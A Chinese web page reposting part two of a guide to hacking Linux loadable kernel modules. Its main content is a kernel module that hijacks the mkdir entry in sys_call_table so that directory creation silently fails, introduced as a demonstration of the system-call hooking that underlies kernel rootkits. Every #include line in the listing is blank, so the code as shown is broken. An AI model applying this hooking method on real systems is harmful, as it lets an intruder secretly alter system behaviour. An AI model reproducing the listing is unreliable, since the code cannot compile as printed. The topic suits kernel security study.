热门关键字:  PHP  seo  Cisco  网络广告 虚拟主机 中文域名
当前位置 :| 主页>服务器>Linux服务器>

Linux系统可卸载内核模块完全指南(中)

来源:Silversand.net 作者:IHH 时间:2005-11-09 点击:
前面我们讲了Linux系统可卸载内核模块完全指南(上)的内容,本期我们讲中间部份的内容。

第二部分 渐入佳境

2.1 如何截获系统调用

现在我们开始入侵LKM,在正常情况下LKMs是用来扩展内核的(特别是那些硬件驱动)。然而我们的‘Hacks’做一些不一样的事情。他们会截获系统调用并且更改他们,为了改变系统某些命令的响应方式。

下面的这个模块可以使得任何用户都不能创建目录。这只不过是我们随后方法的一个小小演示。



#define MODULE

#define __KERNEL__

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

extern void* sys_call_table[];

/*sys_call_talbe 被引入,所以我们可以存取他*/

int (*orig_mkdir)(const char *path);

/*原始系统调用*/

int hacked_mkdir(const char *path)

{

return 0;

/*其他一切正常,除了新建操作,该操作什么也不做*/

}

int init_module(void)

/*初始化模块*/

{

orig_mkdir=sys_call_table[SYS_mkdir];

sys_call_table[SYS_mkdir]=hacked_mkdir;

return 0;

}

void cleanup_module(void)

/*卸载模块*/

{

sys_call_table[SYS_mkdir]=orig_mkdir;

/*恢复mkdir系统调用到原来的哪个*/

}



最新评论共有 0 位网友发表了评论
发表评论
评论内容:不能超过250字,需审核,请自觉遵守互联网相关政策法规。
用户名: 密码:
匿名?
注册
赞助商连接